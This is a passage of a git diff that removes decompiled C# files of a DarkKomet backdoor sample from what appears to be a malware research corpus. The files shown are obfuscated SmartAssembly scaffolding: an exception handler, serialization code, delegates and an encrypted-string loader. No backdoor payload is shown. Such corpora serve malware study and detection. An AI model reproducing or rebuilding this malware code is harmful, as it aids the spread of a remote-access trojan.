b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/Attributes/PoweredByAttribute.cs deleted file mode 100644 index 60831f2b..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/Attributes/PoweredByAttribute.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u007F\u0004; -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute : Attribute - { - public PoweredByAttribute(string s) - { - try - { - } - catch (Exception ex) - { - string str = s; - \u0089\u0004.\u0019\u0005(ex, (object) this, (object) str); - throw; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/current.png b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/current.png deleted file mode 100644 index d5bb7004..00000000 Binary files a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/current.png and /dev/null differ diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/data.png b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/data.png deleted file mode 100644 index c589028f..00000000 Binary files a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/data.png and /dev/null differ diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/default.ico b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/default.ico deleted file mode 100644 index 668d5e16..00000000 Binary files a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/default.ico and /dev/null differ diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/error.png b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/error.png deleted file mode 100644 index 56d4a14b..00000000 Binary files a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/error.png and /dev/null differ diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/error16.png b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/error16.png deleted file mode 100644 index 37cc746a..00000000 Binary files a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/error16.png and /dev/null differ diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/network.png b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/network.png deleted file mode 100644 index 77911b44..00000000 Binary files a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/network.png and /dev/null differ diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/ok.png b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/ok.png deleted file mode 100644 index 506da847..00000000 Binary files a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/ok.png and /dev/null differ diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/warning16.png b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/warning16.png deleted file mode 100644 index b718ae5f..00000000 Binary files a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/warning16.png and /dev/null differ diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/{logo}.png b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/{logo}.png deleted file mode 100644 index bfa4ba6b..00000000 Binary files a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/Resources/{logo}.png and /dev/null differ diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/SmartStackFrame.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/SmartStackFrame.cs deleted file mode 100644 index c5b689b2..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/SmartAssembly/SmartExceptionsCore/SmartStackFrame.cs +++ /dev/null @@ -1,129 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.SmartExceptionsCore.SmartStackFrame -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0003; -using System; -using System.Runtime.InteropServices; -using System.Runtime.Serialization; - -namespace SmartAssembly.SmartExceptionsCore -{ - [Serializable] - public class SmartStackFrame : ISerializable - { - public const string NotSerializable = "Non-serializable object's string representation: '{0}'"; - public readonly int MethodID; - public readonly object[] Objects; - public readonly int ILOffset; - public readonly int ExceptionStackDepth; - - public virtual void GetObjectData([In] SerializationInfo obj0, [In] StreamingContext obj1) - { - obj0.AddValue(\u0002.\u0002\u0002(2144), (object) this.MethodID, typeof (int)); - // ISSUE: type reference - \u0001\u0004.\u007E\u008E\u0005((object) obj0, \u0002.\u0002\u0002(2181), (object) this.ILOffset, \u0082\u0003.\u008C\u0003(__typeref (int))); - // ISSUE: type reference - \u0001\u0004.\u007E\u008E\u0005((object) obj0, \u0002.\u0002\u0002(2218), (object) this.ExceptionStackDepth, \u0082\u0003.\u008C\u0003(__typeref (int))); - int num1 = this.Objects == null ? 0 : this.Objects.Length; - if (true) - goto label_8; -label_1: - int num2; - // ISSUE: type reference - \u0001\u0004.\u007E\u008E\u0005((object) obj0, \u0002.\u0002\u0002(2271), (object) num2, \u0082\u0003.\u008C\u0003(__typeref (int))); - if (true) - goto label_9; -label_7: - int index; - for (; index < num2; ++index) - { - string str1 = \u0097\u0002.\u001B\u0002(\u0002.\u0002\u0002(2316), (object) index); - if (true) - goto label_10; -label_4: - string str2; - try - { - SmartStackFrame.\u0006\u0002(obj0, str2, this.Objects[index]); - continue; - } - catch (Exception ex) - { - object obj = (object) \u0002.\u0002\u0002(2361); - SmartStackFrame.\u0006\u0002(obj0, str2, obj); - continue; - } -label_10: - str2 = str1; - goto label_4; - } - return; -label_9: - index = 0; - goto label_7; -label_8: - num2 = num1; - goto label_1; - } - - private static void \u0006\u0002([In] SerializationInfo obj0, [In] string obj1, [In] object obj2) - { - try - { - if (obj2.GetType().IsSerializable) - goto label_3; -label_2: - obj2 = (object) \u0097\u0002.\u001B\u0002(\u0002.\u0002\u0002(2462), obj2); -label_3: - if (true) - { - // ISSUE: type reference - \u0001\u0004.\u007E\u008E\u0005((object) obj0, obj1, obj2, \u0082\u0003.\u008C\u0003(__typeref (object))); - } - else - goto label_2; - } - catch (SerializationException ex) - { - do - { - // ISSUE: type reference - \u0001\u0004.\u007E\u008E\u0005((object) obj0, obj1, (object) \u0097\u0002.\u001B\u0002(\u0002.\u0002\u0002(2462), obj2), \u0082\u0003.\u008C\u0003(__typeref (object))); - } - while (false); - } - } - - internal SmartStackFrame([In] SerializationInfo obj0, [In] StreamingContext obj1) - { - this.MethodID = \u0095\u0002.\u007E\u0090\u0005((object) obj0, \u0002.\u0002\u0002(2144)); - this.ILOffset = \u0095\u0002.\u007E\u0090\u0005((object) obj0, \u0002.\u0002\u0002(2181)); - this.ExceptionStackDepth = \u0095\u0002.\u007E\u0090\u0005((object) obj0, \u0002.\u0002\u0002(2218)); - int length = \u0095\u0002.\u007E\u0090\u0005((object) obj0, \u0002.\u0002\u0002(2271)); - this.Objects = new object[length]; - for (int index = 0; index < length; ++index) - { - try - { - // ISSUE: type reference - this.Objects[index] = \u0002\u0004.\u007E\u008F\u0005((object) obj0, \u0097\u0002.\u001B\u0002(\u0002.\u0002\u0002(2316), (object) index), \u0082\u0003.\u008C\u0003(__typeref (object))); - } - catch (Exception ex) - { - this.Objects[index] = (object) \u0002.\u0002\u0002(2535); - } - } - } - - internal SmartStackFrame([In] int obj0, [In] object[] obj1, [In] int obj2, [In] int obj3) - { - this.MethodID = obj0; - this.ExceptionStackDepth = obj3; - this.ILOffset = obj2; - this.Objects = obj1; - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0001_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0001_0003.cs deleted file mode 100644 index 715d9ce9..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0001_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; -using System.Text; - -internal delegate StringBuilder \u0001\u0003([In] object obj0, [In] object obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0001_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0001_0004.cs deleted file mode 100644 index bfeb5a57..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0001_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0001\u0004([In] object obj0, [In] string obj1, [In] object obj2, [In] Type obj3); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0002_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0002_0003.cs deleted file mode 100644 index b4434adf..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0002_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Collections; -using System.Runtime.InteropServices; - -internal delegate IDictionary \u0002\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0002_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0002_0004.cs deleted file mode 100644 index 089d1ad3..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0002_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate object \u0002\u0004([In] object obj0, [In] string obj1, [In] Type obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0003/_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0003/_0002.cs deleted file mode 100644 index 837ded49..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0003/_0002.cs +++ /dev/null @@ -1,142 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0003; -using \u007F\u0004; -using System; -using System.Collections; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0003 -{ - internal class \u0002 - { - private static string \u0001; - private static string \u0002; - private static byte[] \u0003; - private static Hashtable \u0004; - private static bool \u0005; - private static int \u0006; - - public static string \u0002\u0002([In] int obj0) - { - string str1; - int num1; - int num2; - int num3; - byte[] numArray1; - string str2; - try - { - obj0 -= \u0002.\u0006; - if (\u0002.\u0005) - { - str1 = (string) \u0002.\u0004[(object) obj0]; - if (str1 != null) - return str1; - } - num1 = 0; - num2 = obj0; - num3 = (int) \u0002.\u0003[num2++]; - if ((num3 & 128) == 0) - { - num1 = num3; - if (num1 == 0) - return string.Empty; - } - else - num1 = (num3 & 64) != 0 ? ((num3 & 31) << 24) + ((int) \u0002.\u0003[num2++] << 16) + ((int) \u0002.\u0003[num2++] << 8) + (int) \u0002.\u0003[num2++] : ((num3 & 63) << 8) + (int) \u0002.\u0003[num2++]; - string str3; - try - { - numArray1 = \u0016\u0003.\u0010\u0003(\u0006\u0004.\u007E\u0095\u0005((object) \u0003\u0004.\u0096\u0005(), \u0002.\u0003, num2, num1)); - str2 = \u009C\u0002.\u007F\u0002(\u0006\u0004.\u007E\u0095\u0005((object) \u0003\u0004.\u0096\u0005(), numArray1, 0, numArray1.Length)); - if (\u0002.\u0005) - { - try - { - \u008B\u0003.\u007E\u001C\u0004((object) \u0002.\u0004, (object) obj0, (object) str2); - } - catch - { - } - } - str3 = str2; - } - catch - { - str3 = (string) null; - } - return str3; - } - catch (Exception ex) - { - string str4 = str1; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num3; - byte[] numArray2 = numArray1; - string str5 = str2; - string str6; - string str7 = str6; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj0; - \u0089\u0004.\u001F\u0005(ex, (object) str4, (object) local1, (object) local2, (object) local3, (object) numArray2, (object) str5, (object) str7, (object) local4); - throw; - } - } - - static \u0002() - { - Assembly assembly1; - Stream stream1; - int length; - try - { - \u0002.\u0001 = "0"; - \u0002.\u0002 = "74"; - \u0002.\u0003 = (byte[]) null; - \u0002.\u0004 = (Hashtable) null; - \u0002.\u0005 = false; - \u0002.\u0006 = 0; - if (\u0002.\u0001 == "1") - { - \u0002.\u0005 = true; - \u0002.\u0004 = new Hashtable(); - } - \u0002.\u0006 = Convert.ToInt32(\u0002.\u0002); - assembly1 = \u0098\u0003.\u0010\u0005(); - stream1 = \u0093\u0003.\u007E\u0004\u0005((object) assembly1, "{8a2cc06e-b699-4a98-98ee-08831fc9c995}"); - try - { - length = \u0013\u0003.\u0008\u0003(\u000F\u0004.\u007E\u009F\u0005((object) stream1)); - \u0002.\u0003 = new byte[(int) checked ((uint) length)]; - int num = \u0012\u0004.\u007E\u0006\u0006((object) stream1, \u0002.\u0003, 0, length); - \u001A\u0002.\u007E\u0003\u0006((object) stream1); - } - finally - { - if (stream1 != null) - \u001A\u0002.\u007E\u0004\u0002((object) stream1); - } - } - catch (Exception ex) - { - Assembly assembly2 = assembly1; - Stream stream2 = stream1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) length; - \u0089\u0004.\u001A\u0005(ex, (object) assembly2, (object) stream2, (object) local); - throw; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0003_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0003_0003.cs deleted file mode 100644 index 37d1b4ab..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0003_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; - -internal delegate DateTime \u0003\u0003(); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0003_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0003_0004.cs deleted file mode 100644 index 1e1897d9..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0003_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Text; - -internal delegate Encoding \u0003\u0004(); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0004_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0004_0003.cs deleted file mode 100644 index 4dd793fb..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0004_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Delegate \u0004\u0003([In] Delegate obj0, [In] Delegate obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0004_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0004_0004.cs deleted file mode 100644 index 7f1aaf7a..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0004_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate byte[] \u0004\u0004([In] object obj0, [In] string obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0005_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0005_0003.cs deleted file mode 100644 index bf0013a9..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0005_0003.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Delegate \u0005\u0003([In] Type obj0, [In] MethodInfo obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0005_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0005_0004.cs deleted file mode 100644 index dc530f1e..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0005_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0005\u0004([In] object obj0, [In] byte[] obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0002/_0006_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0002/_0006_0002.cs deleted file mode 100644 index d91f059b..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0002/_0006_0002.cs +++ /dev/null @@ -1,2195 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0003; 